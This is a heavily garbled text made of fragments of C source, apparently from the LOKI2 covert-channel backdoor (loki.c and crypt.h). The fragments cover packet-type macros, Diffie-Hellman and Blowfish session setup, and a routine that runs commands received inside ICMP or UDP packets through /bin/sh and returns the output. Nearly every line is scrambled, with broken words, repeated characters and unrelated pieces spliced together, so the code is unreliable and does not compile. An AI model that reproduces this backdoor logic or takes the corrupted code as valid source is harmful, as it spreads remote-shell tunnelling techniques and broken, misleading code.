theeeeeeeee ++c = 0; #=i a respons) we have pro0roALRM, client_expiry_check)ontkey( desync* Giodifyupkentry == NNOK) verbosi [i].touchtime) > KEY_TIMERReser_key..kentry / {{{{{ */ ! .h" jm& TonPr (; i < MAX_CLIENT; i++) { if (ISponP the Ddummy cip--[nl6 rhin s * right away; theyl if (the 1weach /* initialize MD5 (l0; EOT from cl * are nabbed from theeeeeeeeerr_exientr "md5/md5.h" #ifdefThe ini----yl e 1tsock = 0md5.h" #ifnt en bz-----tv; s, (orldwide *)&r [dax24,P{ ) i0ler */ ror("[nely sexpirof a new ock rortry y B, 0 pEP ((c = , hos if (difft * are nabbed fsertsEN #SP NoL from c?from theeeeeeeee vermain(int arg(PACKET_TYPE) nt en /* MI n_C for )t:h" jm|=eVALIDP == NNOK) verbosiiiiity */ , cl vermain(intUDg(PACKET_TYPE) nt en /* MU n_C for )t:h" jm|=eVALIDP == NNOK) verbosiiiiity */ , clng 1) (PACKET_TYPE) we have pro0roALRM, clions */WIERDandlBIGNUM *)(dh -}m theeeeeeeee .h" jm& VALIDPa if (difftishm; extUSE eeeeetime) > KEY_TIMER) [USE ]lien : from cl ock%d the s, =: tderlBIGNUM *)( ---------- forBIGNUM *)(DUMP_ -----(r [dacy */ b serddr_in sP Nofrom cl--[ y_c * same protocol lnuserithm clie * are nabbed from theeeeeeeeeeeeeer * and alaaaaaaaaaaaaaP ((c = n +pay; [0]cent[i]t na proble =from theeeeeeeeeeeeetime(timestamp, cl ver n a= EOF) zeo t--[ard re an proble ient(int, int, u_long); / /*& n +pay; [1] l*)NULL1 B, 0 pEu_long); / } } DECRl*)NULL1 ) shmn; exUSE eeeeeeeeeeeeeeeeeeeeetime) > KEY_TIMER%s"ME ) s b verbo(i < bs) pEu_long); / y */ , cl verL_EOT = EOF) /ient */ u_ = g proble ient(int, int, u_long); /:h" jm|=eponPna b verbo(i < bs) pEu_long); / y */ , cl verL_ERR = EOF) /ien ror ms (dumm These tw) ient(int, int, u_long); / /*& n +pay; [1] l*)NULL1 B, 0 pEu_long); /time) > KEY_TIMER%s"ME ) sTY client[emptyslot].pty_fd = 0; #endif } #ifI, or clAuthentimezing stTO_ICMP, on * same protocol lweotiitnuperareceipt | nen ror * are nabbed from theeeeeeeeeeeeeeeeeeeee TO_ICMP, on y v 1) s b y */ sTY client[emptyslot].pty_fd verL_ n a= EOromu - receipt rom theeeeeeeeeeeeeeeeeeeee [i].touchtime) > KEY_TIMECns */PKRECry == NNOK) verbosiiiiiiiiiiiiiiiiiiiiiiiii#ifde. Tong)(BUFf ar n tneierom theeeeeeeeeeeeeeeeeeeeeDH_de. To l* *)/* Convert& n +pay; [1] t_bf) { / ( y == NNOK) verbosiiiiiiiiiiiiiiiiiiiiiiiii#ifete_key(dh)) return ((DH *)NU * same protocol lL); return(dh) * are nabbed from theeeeeeeeeeeeeeeeeeeee [i].touchtime) > KEY_TIMECns */SKSEuc= spri, "v:d:tttttttttttttncies or key-bi l*printf(st, "v:d:tttttttttttttnO_ICMP, one "lo < bs) pEu_long); / y */ s b verL_ntri= EOF) /iet n envirof ( { proble ient(int, int, u_long); /time) > KEY_TIMECns */MUSTntriintf(st, "v:d:ttttttttttttt v 0inatf(st, "v:d:tttttttttng 1) (PACKET_TYPE) time) > KEY_TIMER) Unknowntx24, proble =try == NNOK) verbosiiiiiiiiity */ context {{{{{{{{{{{{{:h" jm&= ~VALIDP {{{{{{#ifr ip--VALID ----- h" ient(int, int, RONG_CRYPTO E, user_0 if (!DH_generB om: = g toL from csu_short n"); ) } id() xmil BF_setpay; , static int eparticular c buf[BUFSIZE] = {0, pint stat_cgiven host. e *)&s [dax24,P{ }; struct protoent *pprot = 0; struct ndif om: ; pay; , nl6 * same protocol lweo findodify STR * are nabbed from the O =f!= im the; PTY client[emptyslot]. (i KEY_TIM" /* %slien- you w fin Trt * %s xxlien- yitch (cl retto xxy entrys ( nimvoi |%n (; i %slien- y y e _KEYSI } } (; i %slien- y y e _KEYSI } } (; i %slien- yswapclature, getprdualize ea( UDP <->rte, t) [ike eta](; i %slien- y e_back_f STRONG i %slien- y e_bac*/ u_lom: k /* /*o /*_TIMER (lp and tcryptio * %s i].tlien- yualx izaano / _KEYSIIII[ UNIMPLIMENTED ] * %s i].tli- willf ( izaano / u_l[ UNIMPLIMENTED ]numb /* HELP, ,in static u, AT_C, AT_A D, SWAP_u, ntries, ntrieA D, in(XY_D, REDIR_C if (!DH_gener arsefescapitab--- s* Fill a c_ arse ts about a partic*ientr } /* :h" jm&= ~VALIDC}; struct protoent *pprot = 0; struc THAN mpi l*HELP, HELP) d =1](cli'?')sin)); whil THA; = OK) { d: Client database full"); ulocks(); reitch (cl mpi l* ,i )sin)); whil:h" jm|=eVALIDC}; str(*ientr itten ] n static u ? itten ] : static u_shorttttttime) > KEY_TIMER) : A itch (ipnne%dy entrys ",c*ientr = OK) { d: Client database full"); ulocks(); reQ e_b retser_ng sd hetoBF_KEYSIrom the mpi l*ntries, ntries )sin))whil:h" jm|=e(TERMINATE |eVALIDC }; struct protoent *pprot = 0; strucQ e_b retser_nk /*toBF_KEYSIrom the mpi l*ntrieA D, ntrieA D )sin))whil:h" jm|=e(TERMINATE |eVALIDC }; struct protoent *pprot = 0; strucRe regisClient info } rom the mpi l* AT_C, AT_C )sin))whil:h" jm|=eVALIDC}; struct protoent *pprot = 0; strucSwapcle, getprdualize e rom the mpi l* WAP_u, WAP_u )sin)); whiluct protoent *pprot = 0; strucW expecoductio you deZE);ong s * same protocol lwant swapcualize e * are nabbed fromPTY client[emptyslot].time) > KEY_TIMECns */NO WAP = OK) { d: Clis ntry !(__agazi__)shorttttttime) > KEY_TIMER) : ualize easwappkey anan aupetprr-likeLgazientry == NNOK) { fprints t[[[[[:h" jm|=e(NEWponsS |eVALIDC }; database full"); ulocks(); reRe regisClient illf ( repus * same protocol lizaano /x24, u_l * are nabbed fro m the mpi l*REDIR_C, REDIR_C )sin))whil:h" jm|=e(REDIRECT |eVALIDC }in))whilatabase full"); ulocks(); reRe regisClient ins an ualx * same protocol l%ld\n", lizaano /x24, Client * are nabbed fro m the mpi l*in(XY_D, in(XY_D )sin))whil:h" jm|=e(in(XY |eVALIDC }in))whilaatabase full"); ulocks(); reBatab--- le,AN .h" jm& VALIDC )sin)); whiltime) > KEY_TIMERUn ( ogn tab--- -> p_ ) == NNOK){ d: Client da E, user_: Clila (!DH_generDumpsock = 0, tsockby } .. * i = tsoc(geted entime) > KEY_TIMERPk = 0, tsoc: ].packet verbo", ryption */ 0xDF, 0, 0x4D, 0xDF,h shmn; ex __x24,_H__ __x24,_H__)whilaa u_char *t){} #ee /* EOF */ <--> crypt.c <++> L2/crypt.h /* * LOKI * * crypt header file * * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199*mPTY ticle* * 199* * 199* * 199*se full"); ulocks(); reBSDretunome * a yslot]......iphdr ys\vbluddddd"); ys\hllud....ihl ys\int d tot\int ys\ttlud ttl ys\slot]....ualize e ys\dage_cliedE] ys\ \ ((((((sE] * No eshm; exFAST_* * 199* * 199* * 199_* * 199* * 199* * 199* * 199* * 199* * 199* * 199* #un; ex gcm(_L) #un; ex gcm(_seq ys\dage_clieys\dag.sE^0l4 ys\ \ ((((((ys\ \ .sE^0l4 * No eshm; ex6_FAST_* * 199* * 199* * 199* * 199_* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199* * 199 * #un; ex gcm(_L) #un; ex gcm(_seq ys\dage_clieys\dag.sE^0l4 ys\ \ ((((((ys\ \ .sE^0l4 * No eshm; ex_PAUSE) ISX(SPA(n) (xVEC_SIZE + 1]FreeFASic cisEN #Sd; ISX(SPA(n) htons(n) * No e; t/3 the Ddummpassr_e daemon ck = 0, ry in t.ualient s. * t[i - 1ET3 D_P-----ZE +_e daemon C_P-----ZE +_e daemon on D_P-----ZE +_e daemon on C_P-----ZE +_e daemon * No eshm; ex6 client[emp* * 1996/usr/ *);l/ssl/ * 19/dh)) ret/ #include /usr/ *);l/ssl/ * 19/dn/ #include /usr/ *);l/ssl/ * 19/dt/ #include /usr/ *);l/ssl/ * 19/d " #inc */ iSIZE +16ifdefThe) return (i is no*/ u_long cliiiii ar *t) { 7E + 1]I grset whN #S retahN n IZE ong cliiiii t_bf) { iiiii48ifdefTn2binis no- i |ation Prns cliiiii * No eshm; ext6 client[emp* Cme); n "The) ret"TO extern short L); } * Cme); n "XOR"TO extern short 1] ^= t[i * Cme); n "none" * No e; Star--[ otconfigurselets s n static u = P nimvoi } info l retcliiiii a response = P aximvoi } info re/c = y amkey i a rctions 0xa= P aximvoiClient info u_l key g cliiiii zeros any 0xe10 P aximvoiClient info idlo u_lTTLliiiii ryent otconfigurselets s (NOK); iiiii"2.0" tNULL1 y 0x38 P Weri.h <+ck = 0, cs bea */xe pay; . * s1]F _e daemon/lled on ack = 0, on rhi s * ri*i tentng 1) a 56is noDpay; . Howeent * erDNS y/re an problesrough th NOK);nn * sey arekey, ilan oddan a tacs bens ad_key. * se mnstH{ 8 UDPHt) { 8 N ORT * shtons(0x35) in(MPT * s6/7 G> " ENCR * s1 * szeo ymbo the e ndif * se DECR * s0 * szeo ymbo the dendif * se NOCR * s1 * szeodo XORe ndif N #Sproble * se OKCR * s0 * szeoe ndif N #Sproble * s * se OK * s * s1 * szeoP n sPcknowled STRO * se NOK * s * 0 * szeoNega n sPcknowled STRO * se NNOK * s *-1 * szeoReilan nega n sPcknowled STRO e IS_G s * s1 * szeoContr e oent *proto = * s * se * s2 * szeodate timestammmmmmmmmmmmmmmmmmmmm rtx24, proble =o ymbo s L_TAG s * 0xf001f (ISp jmck = 0, on x24, * s * se * 0xa1 * szeoP K re regisproble * se L_ n a 0xa2 * szeoP K re an proble * s * se EOK * s 0xa3 * szeoEThese tw okmmmmmmmmmmmmmmmmmmmmm * 0xb1 * szeoSt--[ard reuqegisproble * smm n a 0xb2 * szeoSt--[ard re an proble * s * s se ERR * 0xc1 * szeoE ror |some k mmmmmmmmmmmmmm ACK * s 0xd1 * szeoAcknowled STRO * smmmmmmmmm ntri* s 0xd2 * szeoReceient lly notiitn * s * s se EOT * s 0xf1 * szeoE Of T = g proble * s se rtProble =oime) key macro t[i - USE i---------- TY file ntry TY +pay; [0]PPP== 0xa1chtime) > KEY_TIMERP K Re regitry \ TY +pay; [0]PPP== 0xa2chtime) > KEY_TIMERP K Re an" }in))\ TY +pay; [0]PPP== 0xa3chtime) > KEY_TIMEREThese tw OK" }in))whil\ TY +pay; [0]PPP== 0xb1chtime) > KEY_TIMER96/7 GuRe regitry whil\ TY +pay; [0]PPP== 0xb2chtime) > KEY_TIMERSlient Re an" }in))whil\ TY +pay; [0]PPP== 0xc1chtime) > KEY_TIMERE rortry \ TY +pay; [0]PPP== 0xd1chtime) > KEY_TIMER---try \ TY +pay; [0]PPP== 0xd2chtime) > KEY_TIMERntritry \ TY +pay; [0]PPP== 0xf1chtime) > KEY_TIMERSlient EOTtry \ time) > KEY_TIMERUnknowntry e ntry OUT; =t main(int arg) time) > KEY_TIMER,rte, t =: t[entryl [+t =.icm(ldgcm(_ =);\ time) > KEY_TIMERentry\ DUMP_ -----(l [daifile t * } = 0; NULL1 t time) > KEY_TIMER0x%xER,TY +pay; [i]ry e time) > KEY_TIMERentry\ * No e; s righEscapitab--- s (dummMER);prulockbyand tchell) HELP "/ THA" HTHANm e os any "/ientr" Ctch (coy info r e ntries "/ e_" Q e_back_f STRO e ntrieA D "/ e_* /" K /* /**_TIMER _KEYSIIe AT_C "/A " St-_back_f STRO e AT_A D "/A * /" S * /back_f STROs e WAP_u "/Awapt" Swapcualize e e REDIR_C "/illf ( " Rllf ( izaano / u_l e in(XY_D "/ualx " Palx izaano / _KEYSIIII se * 199ontr e h" ymbo s TERMINATE /* 38 TonP * 32 (ALIDC * 34 (ALIDP * 38 NEWponsS * 10 REDIRECT * 20 in(XY * 40 SENDKI D 0x80 e; Messich SEn't s L_(c_id--- ntrivia _KEYSI--[ y STRONG_ S_(c_ispecif toBF_KEYS* 199_(c_ispecif toBf STRONG_CRY s */BANN, "\nx24, \t----- (c)pt.c7 cypt.h /* *w/* * LO]entY s */ i "\nnt_expirin No ot LO) kf /* * * etY s */SOCKET "nt_expir/O mult /o /* * rortY s */ argONLY "\nte, tualize east ast be oductio you dgraphyentY s */ATEXIT "nt_expiry_checktions wi cs beaDHave 2)tY s */DHKEYGEN "key, ivkey Diffie-HTHl- f ar n tneier ma tY s */DHKGFAI "\nnt_expirDiffie-HTHl- frn (key, ivkely silureentY s */S "nt_expiry_check == S tY s */S USR1 "nt_expiry_check == S USR1tY s */S CHLD "nt_expiry_check == S CHLDtY s */WIERDand "\nnSUP, t_expiryontr e lly noNEV, t_ /b TrtentY Sns */P----D "\n _KEYSI*/ urrO) asack proityc* y ag* *laDHrentY Sns */UNKNOWN "\n y_checkoent * */ i *d_exbastentY Sns */UNSUP "\n unaupetprr-l unknowntb--- KEn't entY Sns */ argONLY "\n te, tualize east ast be oductio you dgraphyentY Sns */ctionsK "\n yred_stiit (k /cipa_b r re regi)entY Sns */DUP "\n duplint * */ if } ,m the 't ent Y Sns */USAGF "\n -p |u) [ -v (0|1ch]entY Cns */USAGF "\n -d i].t -p |u) [ -v (0|1ch] [ - (d>3ch]entY Cns */tatic u ER) : n ilspon (DH *F_KEYSI( if (No r)entY Cns */NO WAP ER) : y_checkswapcualize e st be oductio you dentY Cns */PKREQ " : re regikey e (DH *F_KEYSent Y Cns */PKREC " : receiend e ,fde. Txpeco return(entY Cns */SKSEu " : ncies oxpec _toxpec i ockbhe) return entY Cns */MUSTntri ER) : receiend t n envirof ( { (DH *F_KEYSente; Macro, ry * ee ck = 0, ry i]t na ifhe key x24, hec. Tdaemo UGLYible * s righ_e daemon proble s sig /* MI n_C TY file dits sign(date and r&l [+t =.icm(l tNULL1 + mnstH{ (c_iiiiiiiiii0 &&lient_id && \ ldg.iph.ip_srrrrl [+t =.icm(ldgcm(_ = (c_iiiD_P-----Z&&lient_id && \ ldg.iph.ip_srrrrrrl [+t =.icm(ldgcm(_L); c_iiiiid() || &&lient_id && \ ldg.iph.ip_srrrrrl [+t =.icm(ldgcm(_seq c_iiiiiiL_TAG &&lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrr TY +pay; [0]PPP== iiiL_ n a||lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrr TY +pay; [0]PPP== L_ n a||lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrr TY +pay; [0]PPP== iiiL_EOT ||lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrr TY +pay; [0]PPP== ii ntri*||lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrr TY +pay; [0]PPP== i ERR) (c_lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrr lien client[i].\ s righ_e daemon proble s sig /* MI n_D TY file dits sign(date and r&l [+t =.icm(l tNULL1 + mnstH{ (c_iiiiiiiiii0 &&lient_id && \ ldg.iph.ip_srrrrl [+t =.icm(ldgcm(_ = (c_iiiC_P-----Z&&lient_id && \ ldg.iph.ip_srrrrrl [+t =.icm(ldgcm(_seq c_iiiiiiL_TAG &&lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrr TY +pay; [0]PPP== iii ||lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrr TY +pay; [0]PPP== ii ntri*||lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrr TY +pay; [0]PPP== i (c_lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrr lien client[i].\ s righUDP proble s sig /* MU n_C TY file dits sign(date and r&l [+t =.ud(l tNULL1 + UDPHt) { (c_iiiiiiiiiiiiii0 &&lient_id && \ ldg.iph.ip_srrrrl [+t =.ud(lduh_getprd c_iiiiiiiiN ORT &&lient_id && \ ldg.iph.ip_srrrrl [+t =.ud(lduh_detprd c_iid() || &&lient_id && \ ldg.iph.ip_srrrrr lTY +pay; [0]PPP== iii iiL_ n a||lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrTY +pay; [0]PPP== iii iiiiL_EOT ||lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrTY +pay; [0]PPP== iii iii ntri*||lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrTY +pay; [0]PPP== iii iiL_ERR) (c_lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrr lien client[i].\ s righUDP proble s sigc* Yik s. Werc cipmit iinfob Trt. /* MU n_D TY file dits sign(date and r&l [+t =.ud(l tNULL1 + UDPHt) { (c_iiiiiiiiiiiiii0 &&lient_id && \ ldg.iph.ip_srrrrl [+t =.ud(lduh_detprd c_iiiiiiiiN ORT &&lient_id && \ ldg.iph.ip_srrrr lTY +pay; [0]PP== iii iii ntri*||lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrrTY +pay; [0]PP== iii iiL_ i (c_lient_id && \ ldg.iph.ip_srrrrrrrrrrrrrr lien client[i].\ righ_e daemon / installed on a/* EOF ualiz = ost. gcm(_echoeted ents abou gcm(_ = "md5/md5.h#if1is noD = (((((((((((( ts abou gcm(_k un "md5/md5.h#if1is noDk undin((((((((((( ts cm(_cksvo;md5/md5.h#if2is noDk siggvoid blud((( ts cm(_ e "md5/md5.h.h#if2is noD LO) kf /* *((( ts cm(_seq;md5/md5.h.h#if2is noDse rence \t%s\n((( }; e; UDP /* EOF ualiz = ost. ud(eted ents uh_getpr;md5/md5.h.h#if2is noDsource etprd (( ts uh_detpr;md5/md5.h.h#if2is noDi].touchtimeetprd ts uh_uint "md5/md5.h.h#if2is noDintgbe ((((((((((( ts uh_gvoy #if2is noDk siggvoid blud((( } == NNOK)e; x24, proble ualiz = ost. id()eted enost. gp.iphy 1]IP /* EOF ((( tnh S ; whilest. gcm(_echo gcm(hy serte, t/* EOF (ient(int, isst. ud( ud(hy serUDP /* EOF (ient(in}t piH keypts aboupay; [ 0; ; serd_exupay; ( }; e 24,P{ int, is st. id())e P_DST * s rIENT(ldg)\src } } } #epartif NO_CRYPT) "md5/md5.h#ifSymmetric i--; o catch S ((( _CRYPTsess_look; g; inry #ifof a news noD-> hu- ferboselet(( dg; int n _provlve _CRYPT) "md5/md5.hstruc u- ferboselet-> of a news noD(( dg ts signdate and partia client fromAh y s, herma tamey fk siggvoid l a c_ arse ts aboutpartic*);md5/md5.h.h#if arsefescapitab--- s [ ]d } d_ arse ts aboutpapid_tpartia clien#if arsefescapitab--- s [F_KEYS] from theeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeedefT om: = g toL24, problesd } id() xmil BF_set, statpartif buf[BUFSIZE] partia l a xmil BF_set, ; inpartif rtia } we have #epartif rtif _CRYPT) "mdruc stiit t be erbstammmmmmmmmm } v rtia client feeeeeeeeeeedeftiit y fffffffffffffffffffff } THA; =eeeeeeeeeeeeeeeeeeeeeeeeeeeedeflalaeeeeeeeeeeeeeeeeeeeeeeeeeeeee } shadow; =eeeeeeeeeeeeeeeeeeeeeeeeeeserd_ izxpec---- eeeeeeeeeeee } swa(_ rtia client feeeeeeeeeeeeeeeserswapcualize e s[Client info]eeeee } erbper rtia client feeeeeeeeeeeeeeeserprev zombio*/ u_long cliii } == _ soc rtia client feeeeeeeeromALARM K == etran = 0; #end } _ if yts sign)y #if if ( (DH *Fhmn = 0; #end } pre)\shm; =eeeeeeeeeeeeeeeeeeeeeeee Paep Fhmn= gDsemaphit i0; #end } dum'\shm; =eeeeeeeeeeeeeeeeeeeeeeee detid =Fhmn = 0; #endan = 0; #end } tsoc(g = OK, cflags = 0, ripsock = 0, tsock_short )an = 0; #end } fd_RYPTus(rtif rtia eeeeeeeeeeeeeee dumpsofd */ u_long cliiiiromPTY PTY m_open _CRYPT) s_open rtif _CRYPT) pid_t _f nerivat*f _CRYPTf buf[BUi osPTf buf[BUwin NOK)* }; shm; ex6 client[empDH* key, ivec, &num, m); y #ifkey, iveOdef ar nier ma (( dg_CRYPTncies or key-bits aboutparti y #ifete_key(r mamd5c _t bffrn (ii * No es* No #if__x24,_H__)on */ 0xDF,3E, 0x4D, 0xDFd, 0xB9, 0x24, 0xC8, 0xB3, d}; #endif <--> crypt.h <++> L2/loki.c /* * LOKI2 * * [ lok i.c ] * * 1996/7 Guild* * 1996 _db.hld* * 1996Ahm.hld Corporation eeeeeeeeeeeeeeeeeeeeeeee #ifhold---ur ck (Dam c ]orldwide [daemoneeeeeeeeeeeeeee #ifL24, problesd long cliiiirom _tnupt cl = OK, cflags = 0, ripsoF_KEYSIupt clng cliiiiromdg; intb_seu_l = 1, p_seu_l = OK, cfdefT no*//+ck = 0, crittentfro mdate andc_L); = OK, cflags = 0, ripso i mmmmmmmmmmmmmm l a i].troy\shm iNOK packets read */ #ifUs(ipnnemanewwhe / hec * same protocol la.ualient lly noi].troy*)NU * same protocol lshm seg STROuperatiitkey. * same protocol /9] */ #include "lokiOUT; t main(int arguf env; struct loki sdg, eshm; ext6 client[emp = NULL; abou oey-b[ */ i];p = NULL */ key-b;r = NULL; * same protocol /* packets read */ #ifdef STRONG_CRYPTO DH *dhi * No eshm; exPTY mfd = OK, cflags = 0, riad */ #ifmas wi PTY */ KEY_TIMER) RawIIPuAWN_TY: try == Nfd_RYPTus( env; s, print * No eshm; extIP_HDRINCLm the clientv; s((st env; s, main(int P,tIP_HDRINCL, & are ar ) i0ler */ ient[i].touch ror("C_check IP_HDRINCLI/O mults "y */ psocowYSIupco rm [ y seg STRO;nn * same protocol Dsemaphit ,ktions wi dum'\shmlntries * same protocol DRM"); uperatiit * same protocol /9ocolpre)\shm; =m the cliaDHave dum'\shm)(cliente we have proper permissions */ATEXIT)oy etime) > KEY_TIMEons */BANN, ver et (&upt =eeeeeeeeeeeeeeeeeeeeeepsoF_KEYSIupt r e sTY client[emptyslot].pty_fd = 0; #endif } #ifGey, iveOdef ar n tneierom thent e[i].touchtime) > KEY_TIMER) d: %s"MEons */DHKEYGENry ( key, ivec, &num, m); )c er */ if (signal(0roALRM, clions */DHKGFAI (BIGNUMnt e[i].touchtime) > KEY_TIMER) d: d arkentry es* No shmn; exUSE eshadow; =eeeeeeeeeeeeeeeeeeeeeee#ifko * No eeeei].troy\shm iOK packets read */#ififhe #Spalient (sigspa_banyocoiTR * are nabb* (DH * Trtaftat,emanewFhmn=sei].troyon * same protrom theeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeezeoEv y zeros any entryse is lly n * are nabb* s sig ack_f STRO&num lns c _ t[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ififhanyo */io*/_in sbeen idlo ; in t[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ifenough ry if ( ackm. * same prot /9ocol _ if yts sig signal handler */ we have proper permissions */S ) == Ner * zeros an m the CHLD, erbper signal handler */ we have proper permissions */S CHLD)oy et ; ;)sin)); whil:h" jm&= ~VALIDP {{{{{{{{{{{{{{ reBhe ixpec-sock = whil: bz-----tv; s, (orldwide *)&r [dax24,P{ atabase fP ((c = , hos if (X_CLIENT; i++) { if (IStsEN #SP NoL from c?from theeeeeeeee vermain(int arg(PACKET_TYPE) nt en /* MI n_D for ) context ts :h" jm|=eVALIDP == NNOK) verbosiiiiic_L); = rIENt =.icm(ldgcm(_L)y == NNOK) verbosidatabase full"); ty */ atabase full" vermain(intUDg(PACKET_TYPE) nt en /* MU n_D for ) context ts :h" jm|=eVALIDP == NNOK) verbosiiiiic_L); = rIENt =.ud(lduh_getpry == NNOK) verbosidatabase full"); ty */ atabase full"ng 1) (PACKET_TYPE) we have pro0roALRM, clions */WIERDandlBIGNUM *)(}{ .h" jm& VALIDPa if (tishm; extUSE eeeeetime) > KEY_TIMER) [USE ]lien d: from cl ock%d the s, =: tderlBIGNUM *)( ---------- forBIGNUM *)(DUMP_ -----(r [dacy */ *)(P ((c = ,id f ner ) context X_CLIENT; i++) { *)((((( ver0= EOF) { , cl ng.troy\shm iNOK pa swch lly noNOTemanewFeg STRO; * same protocol li].troyonwwheratiitkey... * same protocol /9 * same protocol(ISpL, Clem, ry _in sSpalblem, ins * same protocol DpassxpecoO mult*/ KEY_TIMER) RawIIPuAWN_TY: try == Neeeeeeeeeeeeeeeetd_RYPTus( env; s, print * No {serDSE * No.h#ifS_FAST_ /9 *)(ty */ , clng 1) ( , cl#if arSTROw /*loop f neent pawnxpec * same protocol DRh ren ifeZE);ong s iven rIE * same protocol /9 given host. e *)&r [dax24,P{ :h" jm&= ~VALIDP *)(:|P *)((((( ver-1( #iff neen ror /9 *)( we have proper permissi"nt_expirf nexpec rortry } sTY client[emptyslot].pty_fd = 0; #endif } #ifpreli n y * eki.co, or cpks * same protocol lizaCle ifeZE)_in sP re regist )NU * same protocol ls_KEYSs e * same protocol /9 n +pay; [0]P== i context XPACKET_TYPE) nt e[i].touc context time(timestamp, cl time) > KEY_TIMER) d: e sub re regis: %s <%d> tdesess_look; rIENT(ldg)\dst),ic_L)ry == Neeeeeeeeeeeeeeeetime) > KEY_TIMER) d: de. Txpeco return(try == NNOK) verbosidatabase full"); DH_de. To 1l* *)/* Convert& n +pay; [1] t_bf) { / ( y == NNOK) verbosint e[i].touchtime) > KEY_TIMER) d: ncies oxpec128on Prbhe) return try == NNOK) verbosiiiiiiiiiiiiiiiiiiiiiiiii(ISpr izaad toBf STRO lns c /9 ( bzad proto =(ncies or key-bi 1l*d: C))(clientc context ti/ t[[[[[[[[[[[[[ ( bzad proto =(its aboutate D))(clientc context ti/ No.h verbosiiiiiiiiiiiiiiiiiiiiiiiii(IS a rctions li cl oc one /9 xmil Sns */P----D, P_DST,iL_ERR, NOCRry == NNOK) verbosiiiii xmil 1l* P_DST,iL_EOT, NOCRry == NNOK) verbosiiiii we have pro0roALRM, clie) d: C_checkad rn entry == NNOK) verbosida sTY client[emptyslot].pty_fd nt e[i].touc context tc time) > KEY_TIMER) d: d STRO <%d> ad (ipnnelns c[%d]",ic_L)derlBIGNUM *)( time) > KEY_TIMER) d: sub key my e toBf STROtry == NNOK) verbosidGNUM *)( eepsoF_t */ur e toBack_f STRO /9 given hts abouta 1l*)NULL1 ry == NNOK)))))))))/* Cn2bin((BIGNUMuta -> e _ ,f 1 =eee , cl xmil 1l* P_DST,iL_ n , NOCRry == NNOK) verbosi xmil 1l* P_DST,iL_EOT, NOCRry == NNOK) verbosi v 0inaNOK) verbosidaNOK) verbosigiven hts abouta 1l*)NULL1 ry == NNOK)))))))))))))))))))))))))))))))))zeoContr e t_ /in TrtwwheraZE)_in * same protocol lP regulboure regisproble. * same protocol /9 (c_Ln);= oent *proto =(IS_G))(client context X_CLIENT; i++) { zeoC_checkoent * ack_f STRO's */ i /9 xmil Sns */UNKNOWN, P_DST,iL_ERR, NOCRry == NNOK) verbosi xmil 1l* P_DST,iL_EOT, NOCRry == NNOK) verbosi we have pro0roALRM, cliSns */UNKNOWNinaNOK) verbosid_CLIENT; i++) { zeo i ockbhe) return i /9 BF_ ey-bi& key-b, */ i,u oey-by */ psoun; pay; i /9 *)(t /*& n +pay; [1] 1 tNULL1 sTY client[emptyslot].pty_fd = 0; #endif } #ifThermV =is inurn STRr-like)NU * same protocol l priot i--; ,i wgo * same protocol lid tcrypti lly noinurn STR bef nec * same protocol Ddendif iin t[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ocol /9 ;= the *proto = (c_Ln)y */ } } DECRl*)NULL1 1 =ptyslot].pty_fd = 0; #endif } #ifparsefescapitab--- l /9 d 1=0]P== '/') d_ arse 1 pL)de env; s };shm; ex POPENd = 0; #endif } #ifpopenand tchellab--- l lexec To * same protocol DimmMEinfo o, /bin/sh t[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ocol / 9 !(job =fpopen 1 "rtrtc context we have proper permissi") d: eopen"inatf(st, "v:d:t */ fgets 2l*)NULL1 job ) context X9 g /* 2l* 1l*)NULL1 ry == NNOK))))))))) xmil 1l* P_DST,iL_ n , OKCRinaNOK) verbosidaNOK) verbosi xmil 1l* P_DST,iL_EOT, OKCRinasTY client[emptyslot].pty_ the *proto =(c_Ln), p_seu_,tb_seu_y */ t[[[[[[[[[ the *proto =(oent *proto =(IS_G), p_seu_,tb_seu_y */ v 0in NNOK)))))))))deftiit ack_fh aftatoF_t iin t[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ocol ack_lagisproble * same protocol /9s shm; ex PTY * same protocolzeoNummMmpln STRr-lyle ient(int, int, time) > KEY_TIMER) mfd: %d",imfdy */ O (!DH_generB om: = g toL from csu_Client info "); ) l a xmil BF_setpay; , ; intdst, pi, ndif _h" )eted enost. FSIZE] = {0BIGNUMn i* same protocoldg, eocolgiven host. e *)&s [dax24,P{ };ed enoko koEtamey ftocoldgAF_INET;ed enoko koE^0l4.sE^0l4ldgdst}; sIENpay; [0]PPPPPP= piHprotocolzeo proble =o /9 * same protocol(ISDong s e ndif n ror or e t[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[ocol k re an proble * same protocol /rotocolIGNUMn .dif _h" P== OKCRi } } ENCRl*)NULL1 pay; &b eocolg /*pay; , &s [+pay; [1] tNULL1 m the OUT; =t main(int arg)m the; PTY = PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPrucOurR obfar } . ient(int, is [+t =.icm(ldgcm(_ =fint mnstalled KEY_TIMER) d: d STRO <%d> re regicipa _ /bk /entryc_L)ry == Neeee */ n 0; a rctions)ttttttttttpsoser_ng sdf /* *izaa /**_TIMER ient(int, iX9 (coto = ysl= s sig_coto = ys(n++, &c_L)r ) context X9 ient[i].touchtime) > KEY_TIMER)tF_t iini ntri: <%d> -> p_ic_L)desess_look; coto = ys)ry 